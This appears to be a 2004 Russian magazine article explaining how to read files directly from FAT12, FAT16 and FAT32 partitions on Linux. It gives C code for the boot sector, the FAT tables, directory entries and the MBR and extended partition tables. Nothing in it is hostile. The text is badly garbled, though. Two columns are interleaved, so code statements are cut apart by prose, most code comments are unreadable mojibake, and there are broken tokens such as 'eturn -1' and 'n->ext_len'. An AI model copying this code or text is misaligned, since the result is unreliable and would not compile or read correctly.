номер первого кластер файла;
! __u32 size – размер файла (в байтах). num = fat16_read_file(full_path, 10);
if(num < 0) perror("fat16_read_file");
else printf("Read %d clusters\n", num);
4. Структура элемента каталога длинного имени:
! __u8 id – номер элемента; Закрываем файл устройства и выходим:
! __u8 name0_4[10] – символы 1 – 5 имени;
! __u8 attr – атрибуты файла; close(hard);
return 0;
! __u8 alias_checksum – контрольная сумма короткого }
имени;
! __u8 name5_10[12] – символы 6 – 11 имени; Функция чтения кластеров файла имеет следующий вид:
! __u8 name11_12[4] – символы 12 – 13 имени.
int fat16_read_file(__u8 *full_path, int num)
{
Продолжим рассмотрение программной реализации // ñòðóêòóðà äëÿ õðàíåíèÿ ñîñòàâíûõ ÷àñòåé ôàéëà
алгоритма и определим имя раздела, на котором создана struct split_name sn;
// áóôåð äëÿ âðåìåííîãî õðàíåíèÿ ñîñòàâíûõ ýëåìåíòîâ
файловая система FAT16: // ïîëíîãî ïóòè ôàéëà
__u8 tmp_name_buff[SHORT_NAME];
#ifndef FAT16_PART_NAME static int i = 1;
#define FAT16_PART_NAME "/dev/hda1" int n;
#endif __u8 *tmp_buff;
__u16 start_cluster, next_cluster;
Глобальные структуры:
Параметры функции мы перечислили при рассмотре-
struct fat_boot_sector fbs; // ñòðóêòóðà çàãðóçî÷íîãî ñåêòîðà нии функции main.
struct msdos_dir_entry dentry; // ñòðóêòóðà ýëåìåíòà êàòàëîãà
Подготовительные операции – обнуляем буфер
Глобальные переменные: tmp_name_buff и структуру struct split_name sn:

__u16 *fat16; // ñþäà êîïèðóåì òàáëèöó FAT16 memset(tmp_name_buff, 0, SHORT_NAME);


__u16 sector_size; // ðàçìåð ñåêòîðà (èç FAT16) memset((void *)&sn, 0, sizeof(struct split_name));
__u16 dir_entries; // ÷èñëî 32-áàéòíûõ äåñêðèïòîðîâ
// â root-êàòàëîãå (0 äëÿ FAT32) Первым символом в абсолютном путевом имени фай-
__u16 sectors; // îáùåå ÷èñëî ñåêòîðîâ â ðàçäåëå
__u32 fat16_size; // ðàçìåð FAT16 ла должен быть прямой слэш (/). Проверяем это:
__u32 root_size; // ðàçìåð êîðíåâîãî êàòàëîãà
__u32 data_start; // íà÷àëî îáëàñòè äàííûõ if(full_path[0] != '/') return -1;
__u16 byte_per_cluster; // ðàçìåð êëàñòåðà â áàéòàõ
__u16 next_cluster; // î÷åðåäíîé êëàñòåð â öåïî÷êå
__u8 *dir_entry = NULL; // óêàçàòåëü íà çàïèñè êàòàëîãà
Считываем с раздела загрузочный сектор:
int hard; // äåñêðèïòîð ôàéëà óñòðîéñòâà
int fat; if(read_fbs() < 0) return -1;
Начнём рассмотрение с главной функции:
Считанный загрузочный сектор находится сейчас в гло-
int main() бальной структуре struct fat_boot_sector fbs. Скопируем из
{
int num; этой структуры размер сектора, число записей в корневом
каталоге и общее число секторов на разделе:
Задаем полное имя файла, содержимое которого мы
хотим прочитать. Напомню, что мы работаем только с ко- memcpy((void *)&sector_size, (void *)fbs.sector_size, 2);
memcpy((void *)&dir_entries, (void *)fbs.dir_entries, 2);
роткими именами файлов. Порядок работы с длинными memcpy((void *)&sectors, (void *)fbs.sectors, 2);
именами в данной статье не рассматривается.
Определим размер кластера в байтах:
__u8 *full_path = "/Folder1/Folder2/text.txt";
byte_per_cluster = fbs.cluster_size * 512;
Открываем файл устройства:
Отобразим информацию, находящуюся в загрузочном
hard = open(FAT16_PART_NAME, O_RDONLY); секторе:

46
администрирование
printf("System id - %s\n", fbs.system_id); талога (начиная с корневого) запись, соответствующую
printf("Sector size - %d\n", sector_size); элементу полного имени, и считываем эту запись. Проце-
printf("Cluster size - %d\n", fbs.cluster_size);
printf("Reserved - %d\n", fbs.reserved); дуру поиска выполняет функция get_dentry():
printf("FATs number - %d\n",fbs.fats);
printf("Dir entries - %d\n", dir_entries);
printf("Sectors - %d\n", sectors); if(get_dentry(&sn) < 0) {
printf("Media - 0x%X\n", fbs.media); printf("No such file!\n");
printf("FAT16 length - %u\n", fbs.fat_length); return -1;
printf("Total sect - %u\n", fbs.total_sect); }
printf("Byte per cluster - %d\n", byte_per_cluster);
Вычисляем размер FAT16 в байтах и считываем её: Проверяем атрибуты файла. Если это каталог, считы-
ваем его содержимое и продолжаем цикл:
fat16_size = fbs.fat_length * 512;
if(read_fat16() < 0) return -1; if(dentry.attr & 0x10) {
if(read_directory(dentry.start) < 0) return -1;
Считываем корневой каталог: continue;
}
if(read_root_dentry() < 0) return -1;
Если это файл – считываем первые num кластеров.
Сейчас указатель dir_entry позиционирован на область Для контроля считанную информацию сохраним в отдель-
памяти, содержащую записи корневого каталога. Размер ном файле:
этой области памяти равен размеру корневого каталога
(root_size). if(dentry.attr & 0x20) {
Сохраним (для контроля) содержимое корневого ката- start_cluster = dentry.start;
лога в отдельном файле: // ñþäà áóäåò ñ÷èòûâàòüñÿ ñîäåðæèìîå êëàñòåðà
tmp_buff = (__u8 *)malloc(byte_per_cluster);
// â ýòîì ôàéëå ñîõðàíèì ñ÷èòàííóþ èíôîðìàöèþ
#ifdef DEBUG n = open("clust", O_CREAT|O_RDWR, 0600);
fat = open("dir16", O_CREAT|O_WRONLY, 0600); if(n < 0) {
write(fat, dir_entry, root_size); perror("open");
close(fat); return -1;
#endif }

Вычисляем начало области данных: printf("file`s first cluster - 0x%X .. ", start_cluster);

data_start = 512 * fbs.reserved + fat16_size * fbs.fats + ↵ Для считывания кластеров файла организуем цикл:
root_size;

Имея все записи корневого каталога, мы можем доб- for(i = 0; i < num; i++) {
memset(tmp_buff, 0, byte_per_cluster);
раться до содержимого файла test.txt. С этой целью орга-
низуем цикл. В теле цикла проведем разбор полного име- Считываем содержимое кластера в буфер tmp_buff и
ни файла, выделяя его элементы – подкаталоги (их у нас сохраняем его в отдельном файле:
два, Folder1 и Folder2) и имя искомого файла (test.txt).
if(read_cluster(start_cluster, tmp_buff) < 0) ↵
while(1) { return -1;
if(write(n, tmp_buff, ↵
memset(tmp_name_buff, 0, SHORT_NAME); byte_per_cluster) < 0) {
memset((void *)&sn, 0, sizeof(struct split_name));
perror("write");
close(n);
for(n = 0 ; n < SHORT_NAME; n++, i++) { return -1;
tmp_name_buff[n] = full_path[i];
if((tmp_name_buff[n] == '/') || (tmp_name_buff[n] == ↵ }
'\0')) {
i++; Считываем из FAT16 номер следующего кластера, за-
break;
} нятого под данный файл. Если это последний кластер –
} прерываем цикл и возвращаемся в главную функцию:
tmp_name_buff[n] = '\0';
next_cluster = fat16[start_cluster];
Заполняем структуру struct split_name sn соответствую- #ifdef DEBUG
щей информацией. Заполнение выполняет функция printf("OK. Readed\n");
printf("file`s next cluster - 0x%X .. ", next_cluster);
split_name, при этом выполняется проверка имени файла #endif
на соответствие формату «8.3»:
if(next_cluster == EOF_FAT16) {
if(split_name(tmp_name_buff, &sn) < 0) { #ifdef DEBUG
printf("not valid name\n"); printf("last cluster.\n");
return -1; #endif
}
free(tmp_buff);
close(n);
Для каждого элемента полного имени файла опреде- return ++i;
}
ляем начальный кластер. Для этого ищем в элементах ка-

№2(15), февраль 2004 47


администрирование
start_cluster = next_cluster; int read_directory(__u16 start_cluster)
} {
int i = 1;
#ifdef DEBUG __u16 next_cluster;
printf("stop reading\n");
#endif for(; ;i++) {
return i;
} Выделяем память для хранения содержимого каталога,
}
} считываем содержимое стартового кластера и получаем
из таблицы FAT16 значение очередного кластера:
Чтение загрузочного сектора FAT16 выполняет функция
read_fbs(). Результат помещается в глобальную структуру fbs: dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster);
if(!dir_entry) return -1;
int read_fbs() if(read_cluster(start_cluster, (dir_entry + (i - 1) * ↵
{ byte_per_cluster)) < 0) return -1;
if(read(hard,(__u8 *)&fbs, sizeof(fbs)) < 0) return -1; next_cluster = fat16[start_cluster];
return 0;
}
Сохраним содержимое каталога в отдельном файле (для
Чтение таблицы размещения файлов файловой сис- контроля):
темы FAT16 выполняет функция read_fat16():
#ifdef DEBUG
int read_fat16() printf("Next cluster - 0x%X\n", next_cluster);
{ fat = open("dir16", O_CREAT|O_WRONLY, 0600);
write(fat, dir_entry, root_size);
// ñìåùåíèå ê FAT16 îò íà÷àëà ðàçäåëà close(fat);
__u64 seek = (__u64)(fbs.reserved) * 512;
fat16 = (void *)malloc(fat16_size); #endif
if(pread64(hard, (__u8 *)fat16, fat16_size, ↵
seek) < 0) return -1; Если достигнут последний кластер, выходим из цикла,
return 0;
} иначе продолжаем чтение каталога, увеличив размер бу-
фера dir_entry ещё на один кластер:
Чтение корневого каталога выполняет функция
read_root_dentry(): if(next_cluster & EOF_FAT16) break;
start_cluster = next_cluster;
}
int read_root_dentry() return 0;
{ }
// ñìåùåíèå ê êîðíåâîìó êàòàëîãó îò íà÷àëà ðàçäåëà
__u64 seek = (__u64)fbs.reserved * 512 + fat16_size * fbs.fats; Поиск в содержимом каталога элемента, соответству-
// âû÷èñëÿåì ðàçìåð êîðíåâîãî êàòàëîãà
root_size = 32 * dir_entries; ющего искомому файлу, выполняет функция get_dentry().
dir_entry = (__u8 *)malloc(root_size); Входные параметры этой функции – указатель на структу-
if(!dir_entry) return -1;
memset(dir_entry, 0, root_size); ру struct split_name *sn, содержащую элементы короткого
if(pread64(hard, dir_entry, root_size, seek) < 0) return -1; имени файла:
return 0;
}
int get_dentry(struct split_name *sn)
{
Чтение кластера, принадлежащего файлу, выполняет int i = 0;
функция read_cluster(). Входные параметры функции – но-
мер кластера cluster_num и указатель на буфер __u8 В глобальном буфере dir_entry находится массив эле-
*tmp_buff, куда нужно поместить результат чтения. Смеще- ментов каталога, в котором мы собираемся искать запись
ние к кластеру на разделе вычисляется по формуле (см. [1]): файла (или каталога). Для поиска организуем цикл. В теле
цикла производим копирование элементов каталога в гло-
SEEK = DATA_START + (CLUSTER_NUM - 2) * BYTE_PER_CLUSTER, бальную структуру dentry и сравниваем значение полей
ãäå name и ext этой структуры с соответствующими полями
SEEK – ñìåùåíèå ê êëàñòåðó íà ðàçäåëå; структуры struct split_name *sn. Совпадение этих полей оз-
DATA_START – íà÷àëî îáëàñòè äàííûõ;
CLUSTER_NUM – ïîðÿäêîâûé íîìåð êëàñòåðà; начает, что мы нашли в массиве элементов каталога за-
BYTE_PER_CLUSTER – ðàçìåð êëàñòåðà â áàéòàõ. пись искомого файла:
int read_cluster(__u16 cluster_num, __u8 *tmp_buff)
{ for(; ; i++) {
// âû÷èñëÿåì ñìåùåíèå ê êëàñòåðó
__u64 seek = (__u64)(byte_per_cluster) * ↵ memcpy((void *)&dentry, dir_entry + i * sizeof(dentry), ↵
(cluster_num - 2) + data_start; sizeof(dentry));

if(pread64(hard, tmp_buff, byte_per_cluster, ↵ if(!(memcmp(dentry.name, sn->name, sn->name_len)) && ↵


seek) < 0) return -1; !(memcmp(dentry.ext, sn->ext, n->ext_len)))
return 0; break;
}
if(!dentry.name[0]) return -1;
}
Функция read_directory выполняет чтение записей ката-
лога (не корневого) и помещает результат в область памя- #ifdef DEBUG
printf("name - %s\n", dentry.name);
ти, на которую настроен указатель dir_entry: printf("start cluster - 0x%X\n", dentry.start);

48
администрирование
printf("file size - %u\n", dentry.size); " jnc 1f \n\t"
printf("file attrib - 0x%X\n", dentry.attr); " shrw $4, %%dx \n\t"
#endif " jmp 2f \n\t"
"1: andw $0x0FFF, %%dx \n\t"
return 0; "2: movw %%dx, %%ax \n\t"
} :"=a" (next)
:"d" (clust), "c" (cluster_num));
Весь вышеприведенный код находится в каталоге
FAT16, файл fat16.c. Для получения исполняемого модуля Возвращаем результат:
создадим Makefile следующего содержания:
return clust;
INCDIR = /usr/src/linux/include }
.PHONY = clean
Остановимся чуть подробнее на самом алгоритме.
fat16: fat16.o split.o Предположим, что на разделе с FAT12 создан файл, ко-
gcc -I$(INCDIR) $^ -g -o $@
торый занимает 9-й и 10-й кластеры. Каждый элемент
%.o: %.c FAT12 занимает 12 бит. Т.к. из таблицы мы считываем
gcc -I$(INCDIR) -DDEBUG -c $^
16-разрядные элементы, то смещение к 9-му элементу
clean: будет равно 13 байт (9 ∗ 1.5 = 13, остаток отбрасываем),
rm -f *.o
rm -f ./fat16 при этом младшие 4 разряда будут принадлежать 8-му
элементу FAT. Их необходимо отбросить, а для этого до-
статочно сдвинуть считанный элемент на 4 бита в сторо-
Программная реализация алгоритма ну младших разрядов, что и предусмотрено алгоритмом.
чтения файла с логического раздела Смещение к 10-му элементу будет равно 15 байт, и стар-
с файловой системой FAT12 шие 4 бита будут принадлежать 11-му элементу FAT. Что-
В целом алгоритм чтения файла с раздела FAT12 идентичен бы их отбросить, необходимо выполнить операцию AND
алгоритму чтения файла с раздела FAT16. Отличие заклю- над 10-м элементом и маской 0x0FFF, что так же соот-
чается в процедуре чтения элементов из таблицы FAT12. ветствует вышеприведенному алгоритму.
Таблица FAT16 рассматривалась нами как простой массив Исходные тексты модуля чтения файла с раздела FAT12
16-разрядных элементов. Для чтения элементов таблицы находятся в каталоге FAT12, файл fat12.c.
FAT12 в [1] предложен следующий алгоритм:
! умножить номер элемента на 1.5; Программная реализация алгоритма
! извлечь из FAT 16-разрядное слово, используя в каче- чтения файла с логического раздела
стве смещения результат предыдущей операции; с файловой системой FAT32
! если номер элемента четный, выполнить операцию Алгоритм чтения файла с раздела с файловой системой
AND над считанным словом и маской 0x0FFF. Если FAT32 практически не отличается от алгоритма для FAT16,
номер нечетный, сдвинуть считанное из таблицы сло- за исключением того, что в FAT32 корневой каталог мо-
во на 4 бита в сторону младших разрядов. жет располагаться в любом месте раздела и иметь произ-
вольный размер. Поэтому, чтобы было интереснее, услож-
Базируясь на этом алгоритме, реализуем функцию чте- ним задачу – предположим, что нам известен только но-
ния элементов из таблицы FAT12: мер раздела с файловой системой FAT32. Чтобы считать
с этого раздела информацию, необходимо вначале опре-
int get_cluster(__u16 cluster_num) делить его координаты – смещение к разделу от начала
{
__u16 seek; диска. А для этого надо иметь представление о логичес-
__u16 clust; кой структуре жесткого диска.

Вычисляем смещение в таблице FAT12 и считываем Логическая структура жесткого диска


из таблицы 16-разрядное слово: Рассмотрим логическую структуру жесткого диска, соответ-
ствующую стандарту Microsoft – «основной раздел – расши-
seek = (cluster_num * 3) / 2; ренный раздел – разделы non-DOS».
memcpy((__u8 *)&clust, (__u8 *)(fat12 + seek), 2);
Пространство на жестком диске может быть организо-
Если стартовый номер кластера – четное число, сдвига- вано в виде одного или нескольких разделов, а разделы
ем считанное из таблицы значение на 4 бита в сторону млад- могут содержать один или несколько логических дисков.
ших разрядов, если нечетное – суммируем его с 0x0FFF: На жестком диске по физическому адресу 0-0-1 распо-
лагается главная загрузочная запись (Master Boot Record,
if(cluster_num % 2) clust >>= 4; MBR). В структуре MBR находятся следующие элементы:
else clust &= 0x0FFF;
! внесистемный загрузчик (non-system bootstrap – NSB);
Этот фрагмент можно также реализовать на ассемб- ! таблица описания разделов диска (таблица разделов,
лере: partition table, PT). Располагается в MBR по смещению
0x1BE и занимает 64 байта;
asm(
" xorw %%ax, %%ax \n\t"
! сигнатура MBR. Последние два байта MBR должны со-
" btw $0, %%cx \n\t" держать число 0xAA55.

№2(15), февраль 2004 49


администрирование
Таблица разделов описывает размещение и характери- // êîîðäèíàòû íà÷àëà ðàçäåëà
стики имеющихся на винчестере разделов. Разделы диска u8 start_part[3];
// ñèñòåìíûé èäåíòèôèêàòîð
могут быть двух типов – primary (первичный, основной) и u8 type_part;
extended (расширенный). Максимальное число primary-раз- // êîîðäèíàòû êîíöà ðàçäåëà
u8 end_part[3];
делов равно четырем. Наличие на диске хотя бы одного // ÷èñëî ñåêòîðîâ ïåðåä ðàçäåëîì
primary-раздела является обязательным. Extended-раздел u32 sect_before;
// ðàçìåð ðàçäåëà â ñåêòîðàõ (÷èñëî ñåêòîðîâ
может быть разделен на большое количество подразделов – // â ðàçäåëå)
логических дисков. Упрощенно структура MBR представ- u32 sect_total;
};
лена в таблице 7. Таблица разделов располагается в конце
MBR, для описания раздела в таблице отводится 16 байт. Элемент первичного раздела указывает сразу на заг-
Òàáëèöà 7. Ñòðóêòóðà MBR рузочный сектор логического диска (в первичном разделе
всегда имеется только один логический диск), а элемент
расширенного раздела – на список логических дисков, со-
ставленный из структур, которые именуются вторичными
MBR (Secondary MBR, SMBR).
Свой блок SMBR имеется у каждого диска расширен-
ного раздела. SMBR имеет структуру, аналогичную MBR,
но загрузочная запись у него отсутствует (заполнена нуля-
Структура записи элемента таблицы разделов пока- ми), а из четырех полей описателей разделов используют-
зана в таблице 8. ся только два. Первый элемент раздела при этом указыва-
Òàáëèöà 8. Ñòðóêòóðà çàïèñè ýëåìåíòà òàáëèöû ðàçäåëîâ ет на логический диск, второй элемент указывает на сле-
дующую структуру SMBR в списке. Последний SMBR спис-
ка содержит во втором элементе нулевой код раздела.
Вернемся к рассмотрению модуля чтения файла с раз-
дела FAT32.
Заголовочные файлы:

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <linux/msdos_fs.h>

Сигнатура MBR:

Первым байтом в элементе раздела идет флаг актив- #define SIGNATURE 0xAA55
ности раздела (0 – неактивен, 0x80 – активен). Он служит
для определения, является ли раздел системным загрузоч- Файл устройства, с которого будет считываться инфор-
ным и есть ли необходимость производить загрузку опера- мация о разделах:
ционной системы с него при старте компьютера. Активным
может быть только один раздел. За флагом активности раз- #define DEVICE "/dev/hda"
дела следуют координаты начала раздела – три байта, оз-
начающие номер головки, номер сектора и номер цилинд- Размер элемента таблицы разделов (16 байт):
ра. Номера цилиндра и сектора задаются в формате пре-
рывания Int 0x13, т.е. биты 0-5 содержат номер сектора, #define PT_SIZE 0x10
биты 6-7 – старшие два бита 10-разрядного номера цилин-
дра, биты 8-15 – младшие восемь бит номера цилиндра. Следующий массив структур устанавливает соответ-
Затем следует кодовый идентификатор System ID, указы- ствие между кодом типа раздела и его символьным ото-
вающий на принадлежность данного раздела к той или иной бражением:
операционной системе. Идентификатор занимает один
байт. За системным идентификатором расположены коор- struct systypes {
__u8 part_type;
динаты конца раздела – три байта, содержащие номера __u8 *part_name;
головки, сектора и цилиндра соответственно. Следующие };
struct systypes i386_sys_types[] = {
четыре байта – это число секторов перед разделом, и пос- {0x00, "Empty"},
ледние четыре байта – размер раздела в секторах. {0x01, "FAT12"},
{0x04, "FAT16 <32M"},
Таким образом, элемент таблицы раздела можно опи- {0x05, "Extended"},
сать при помощи следующей структуры: {0x06, "FAT16"},
{0x0b, "Win95 FAT32"},
{0x0c, "Win95 FAT32 (LBA)"},
struct pt_struct { {0x0e, "Win95 FAT16 (LBA)"},
{0x0f, "Win95 Ext'd (LBA)"},
// ôëàã àêòèâíîñòè ðàçäåëà {0x82, "Linux swap"},
u8 bootable; {0x83, "Linux"},

50
администрирование
{0x85, "Linux extended"}, if(get_pt_info(hard) < 0) {
{0x07, "HPFS/NTFS"} perror("get_pt_info");
}; exit(-1);
}
Определим число элементов в массиве i386_sys_types show_pt_info();
при помощи макроса PART_NUM:
Вычисляем стартовое смещение к разделу:
#define PART_NUM (sizeof(i386_sys_types) / sizeof(i386_sys_types[0]))
start_seek = (__u64)(pt_t[FAT32_PART_NUM - ↵
1].sect_before) * 512;
Установим ограничение на количество логических дисков:
Считываем кластеры, принадлежащие файлу:
#define MAX_PART 20
num = fat32_read_file(full_path, cluster_num);
if(num < 0) perror("fat32_read_file");
Следующий массив структуры будет содержать инфор- else printf("Read %d clusters\n", num);
мацию о логических дисках на устройстве (жестком диске):
close(hard);
return 0;
struct pt_struct { }
__u8 bootable;
__u8 start_part[3];
__u8 type_part; Информацию о таблице разделов считывает функция
__u8 end_part[3];
__u32 sect_before; get_pt_info():
__u32 sect_total;
} pt_t[MAX_PART]; int get_pt_info(int hard)
int hard; // äåñêðèïòîð ôàéëà óñòðîéñòâà {
__u8 mbr[512]; // ñþäà ñ÷èòàåì MBR int i = 0;
__u64 seek;
Номер раздела, на котором создана файловая система
FAT32: Считываем таблицу разделов из MBR и проверяем сиг-
натуру:
#define FAT32_PART_NUM 5
read_main_ptable(hard);
Структуры загрузочного сектора, сектора FSInfo и эле- if(check_sign() < 0) {
мента каталога (определены в файле <linux/msdos>): printf("Not valid signature!\n");
return -1;
}
struct fat_boot_sector fbs;
struct fat_boot_fsinfo fsinfo;
struct msdos_dir_entry dentry; Ищем идентификатор расширенного раздела. Если
__u32 *fat32 = NULL; // ñþäà êîïèðóåì òàáëèöó FAT32 таковой имеется, вычисляем смещение к расширенному
__u16 sector_size; // ðàçìåð ñåêòîðà (èç FAT32)
__u16 dir_entries; // 0 äëÿ FAT32 разделу и считываем информацию о логических дисках:
__u16 sectors; // ÷èñëî ñåêòîðîâ íà ðàçäåëå
__u32 fat32_size; // ðàçìåð FAT32 for(; i < 4; i++) {
__u32 data_start; // íà÷àëî îáëàñòè äàííûõ if((pt_t[i].type_part == 0xF) || ↵
__u16 byte_per_cluster; // ñêîëüêî áàéò â êëàñòåðå
// (ðàçìåð êëàñòåðà â áàéòàõ) (pt_t[i].type_part == 0x5) || ↵
(pt_t[i].type_part == 0x0C)) {
__u32 next_cluster; // î÷åðåäíîé êëàñòåð â öåïî÷êå seek = (__u64)pt_t[i].sect_before * 512;
__u32 root_cluster; // ROOT cluster – íà÷àëüíûé êëàñòåð
// êîðíåâîãî êàòàëîãà read_ext_ptable(hard, seek);
break;
__u8 *dir_entry = NULL; // óêàçàòåëü íà çàïèñè êàòàëîãà }
__u64 start_seek = 0; // ñòàðòîâîå ñìåùåíèå ê ðàçäåëó
// (â áàéòàõ) }
return 0;
}
Главная функция:
Функция чтения таблицы разделов read_main_ptable():
int main()
{ void read_main_ptable(int hard)
int num = 0; {
// ñêîëüêî êëàñòåðîâ ñ÷èòûâàòü èç ôàéëà
int cluster_num = 5; if(read(hard, mbr, 512) < 0) {
perror("read");
// ôàéë äëÿ ñ÷èòûâàíèÿ close(hard);
__u8 *full_path = "/Folder1/Folder2/readme";
exit(-1);
}
memset((void *)pt_t, 0, (PT_SIZE * 4));
Открываем устройство, получаем информацию о таб- memcpy((void *)pt_t, mbr + 0x1BE, (PT_SIZE * 4));
лице разделов на устройстве и отображаем информацию return;
}
о разделах:
Функция проверки сигнатуры check_sign():
hard = open(DEV_NAME, O_RDONLY);
if(hard < 0) { int check_sign()
perror(DEV_NAME); {
exit(-1);
__u16 sign = 0;
memcpy((void *)&sign, (void *)(mbr + 0x1FE), 2);
}

№2(15), февраль 2004 51


администрирование
#ifdef DEBUG if(!pt_t[i].type_part) break;
printf("Signature - 0x%X\n", sign); printf("\nÒèï ðàçäåëà %d - ", i);
#endif
for(n = 0; n < PART_NUM; n++) {
if(sign != SIGNATURE) return -1; if(pt_t[i].type_part == i386_sys_types[n].part_type) {
return 0; printf("%s\n", i386_sys_types[n].part_name);
} break;
}
}
Функция чтения расширенной таблицы разделов: if(n == PART_NUM) printf("unknown type\n");
printf("Ïðèçíàê çàãðóçêè - 0x%X\n", pt_t[i].bootable);
void read_ext_ptable(int hard, __u64 seek) printf("Ñåêòîðîâ â ðàçäåëå %d - %d\n", i, ↵
{ pt_t[i].sect_total);
// íà÷èíàÿ ñ ýòîé ïîçèöèè, ìàññèâ ñòðóêòóð pt_t áóäåò printf("Ñåêòîðîâ ïåðåä ðàçäåëîì %d - %d\n\n", i, ↵
// çàïîëíÿòüñÿ èíôîðìàöèåé î ëîãè÷åñêèõ äèñêàõ pt_t[i].sect_before);
int num = 4; }
__u8 smbr[512]; return;
}
Входные данные:
! hard – дескриптор файла устройства; Чтение кластеров файла с раздела FAT32 выполняет
! seek – смещение к расширенному разделу от начала дис- функция fat32_read_file(). Эта функция имеет много обще-
ка (в байтах). го с функцией fat16_read_file(), поэтому за подробными ком-
ментариями обратитесь к п. 6:
Для получения информации о логических дисках орга-
низуем цикл: int fat32_read_file(__u8 *full_path, int num)
{
struct split_name sn;
for(;;num++) { __u8 tmp_name_buff[SHORT_NAME];
int i = 1, n;

Считываем SMBR, находящуюся по смещению seek от __u32 start_cluster, next_cluster;


__u8 *tmp_buff;
начала диска:
Подготовительные операции – чистим буфер, структу-
memset((void *)smbr, 0, 512); ру и проверяем первый слэш:
pread64(hard, smbr, 512, seek);

Заполняем два элемента таблицы pt_t, начиная с по- memset(tmp_name_buff, 0, SHORT_NAME);


memset((void *)&sn, 0, sizeof(struct split_name));
зиции num. Первый элемент будет указывать на логичес-
кий диск, а второй – на следующую структуру SMBR: if(full_path[0] != '/') return -1

memset((void *)&pt_t[num], 0, PT_SIZE * 2); Считываем загрузочный сектор:


memcpy((void *)&pt_t[num], smbr + 0x1BE, PT_SIZE * 2);

Вносим поправку в поле «Номер начального сектора» – if(read_fbs() < 0) return -1;
отсчет ведется от начала диска: memcpy((void *)&sector_size, (void *)fbs.sector_size, 2);
memcpy((void *)&dir_entries, (void *)fbs.dir_entries, 2);
pt_t[num].sect_before += (seek / 512); memcpy((void *)&sectors, (void *)fbs.sectors, 2);

Считываем структуру FSInfo и отобразим сигнатуру, на-


Если код типа раздела равен нулю, то больше логи- ходящуюся в ней:
ческих дисков нет:
if(read_fs_info() < 0) return -1;
if(!(pt_t[num + 1].type_part)) break;
printf("Signature1 - 0x%X\n", fsinfo.signature1);
printf("Signature2 - 0x%X\n", fsinfo.signature2);
// ðàçìåð FAT32 â áàéòàõ
Вычисляем смещение к следующему SMBR: fat32_size = fbs.fat32_length * 512;
// íà÷àëî ïîëÿ äàííûõ
seek = ((__u64)(pt_t[num].sect_before + ↵ data_start = 512 * fbs.reserved + fat32_size * 2;
pt_t[num].sect_total)) * 512; // ðàçìåð êëàñòåðà â áàéòàõ
byte_per_cluster = fbs.cluster_size * 512;
} // íîìåð êëàñòåðà êîðíåâîãî êàòàëîãà
return;
} root_cluster = fbs.root_cluster;

Функция show_pt_info() отображает информацию о най- Считываем FAT32:


денных логических дисках на устройстве:
if(read_fat32() < 0) return -1;
void show_pt_info()
{
int i = 0, n; Выделяем память для записей каталога:
#ifdef DEBUG dir_entry = (__u8 *)malloc(byte_per_cluster);
printf("×èñëî ðàçäåëîâ íà äèñêå - %d\n", PART_NUM); if(!dir_entry) return -1;
#endif

for(; i < MAX_PART; i++) { Считываем корневой каталог:

52
администрирование
if(read_directory(root_cluster) < 0) return -1; 2) функция read_fs_info() считывает структуру FSInfo:

Проводим разбор полного пути файла и разделение int read_fs_info()


{
каждого элемента на составляющие: __u64 seek = (__u64)fbs.info_sector * 512 + start_seek;
if(pread64(hard, (__u8 *)&fsinfo, sizeof(fsinfo), ↵
while(1) { seek) < 0) return -1;
memset(tmp_name_buff, 0, SHORT_NAME); return 0;
memset((void *)&sn, 0, sizeof(struct split_name)); }
for(n = 0 ; n < SHORT_NAME; n++, i++) {
tmp_name_buff[n] = full_path[i];
if((tmp_name_buff[n] == '/') || ↵ 3) функция read_fat32() считывает таблицу FAT32:
(tmp_name_buff[n] == '\0')) {
i++; int read_fat32()
break; {
}
} __u64 seek = (__u64)fbs.reserved * 512 + start_seek;
tmp_name_buff[n] = '\0'; fat32 = (void *)malloc(fat32_size);
if(split_name(tmp_name_buff, &sn) < 0) {
printf("not valid name\n"); if(!fat32) return -1;
if(pread64(hard, (__u8 *)fat32, fat32_size, ↵
eturn -1; seek) < 0) return -1;
}
if(get_dentry(&sn) < 0) { return 0;
printf("No such file!\n"); }
return -1;
}

Для получения стартового номера кластера в файловой Функция read_cluster() выполняет чтения кластера с
системе FAT32 необходимо задействовать старшее слово но- указанным номером:
мера первого кластера файла – поле starthi структуры dentry:
int read_cluster(__u32 cluster_num, __u8 *tmp_buff)
start_cluster = (((__u32)dentry.starthi << 16) | ↵ {
dentry.start); __u64 seek = (__u64)(byte_per_cluster) * ↵
(cluster_num - 2) + data_start + start_seek;
Проверяем байт атрибутов: if(pread64(hard, tmp_buff, byte_per_cluster, ↵
seek) < 0) return -1;
if(dentry.attr & 0x10) { // ýòî êàòàëîã
if(read_directory(start_cluster) < 0) return -1; return 0;
}
continue;
}
if(dentry.attr & 0x20) { // à ýòî - ôàéë
tmp_buff = (__u8 *)malloc(byte_per_cluster); Чтением каталогов (в том числе и корневого) занима-
n = open("clust", O_CREAT|O_RDWR, 0600); ется функция read_directory():
if(n < 0) {
perror("open");
return -1; int read_directory(__u32 start_cluster)
} {
printf("file`s first cluster - 0x%X .. ", start_cluster); int i = 2;
for(i = 0; i < num; i++) { __u32 next_cluster;
memset(tmp_buff, 0, byte_per_cluster);
if(read_cluster(start_cluster, tmp_buff) < 0) return -1;
if(write(n, tmp_buff, byte_per_cluster) < 0) { Параметры функции – стартовый кластер каталога.
perror("write");
return -1; Считываем содержимое каталога в глобальный буфер
} dir_entry:
next_cluster = fat32[start_cluster];
if(next_cluster == EOF_FAT32) {
free(tmp_buff); if(read_cluster(start_cluster, dir_entry) < 0) return -1;
close(n); next_cluster = fat32[start_cluster];
return ++i;
} Если каталог занимает один кластер – выходим, если
start_cluster = next_cluster;
} нет – увеличиваем размер памяти и продолжаем чтение:
return i;
} if((next_cluster == EOF_FAT32) || (next_cluster == ↵
} 0xFFFFFF8)) return 0;
}
for(; ;i++) {
start_cluster = next_cluster;
Назначение следующих трёх функций – получить содер- dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster);
жимое системной области, т.е. загрузочного сектора, струк- if(!dir_entry) return -1;
туры FSInfo и таблицы FAT32: if(read_cluster(start_cluster, (dir_entry + (i - 1) * ↵
1) функция read_fbs() выполняет чтение загрузочного сек- byte_per_cluster)) < 0) return -1;
next_cluster = fat32[start_cluster];
тора: if((next_cluster == EOF_FAT32) || (next_cluster == ↵
0xFFFFFF8)) return 0;
int read_fbs() }
{ return 0;
}
if(pread64(hard, (__u8 *)&fbs, sizeof(fbs), ↵
start_seek) < 0) return -1;
return 0;
} Последняя функция, которую мы рассмотрим, ищет в

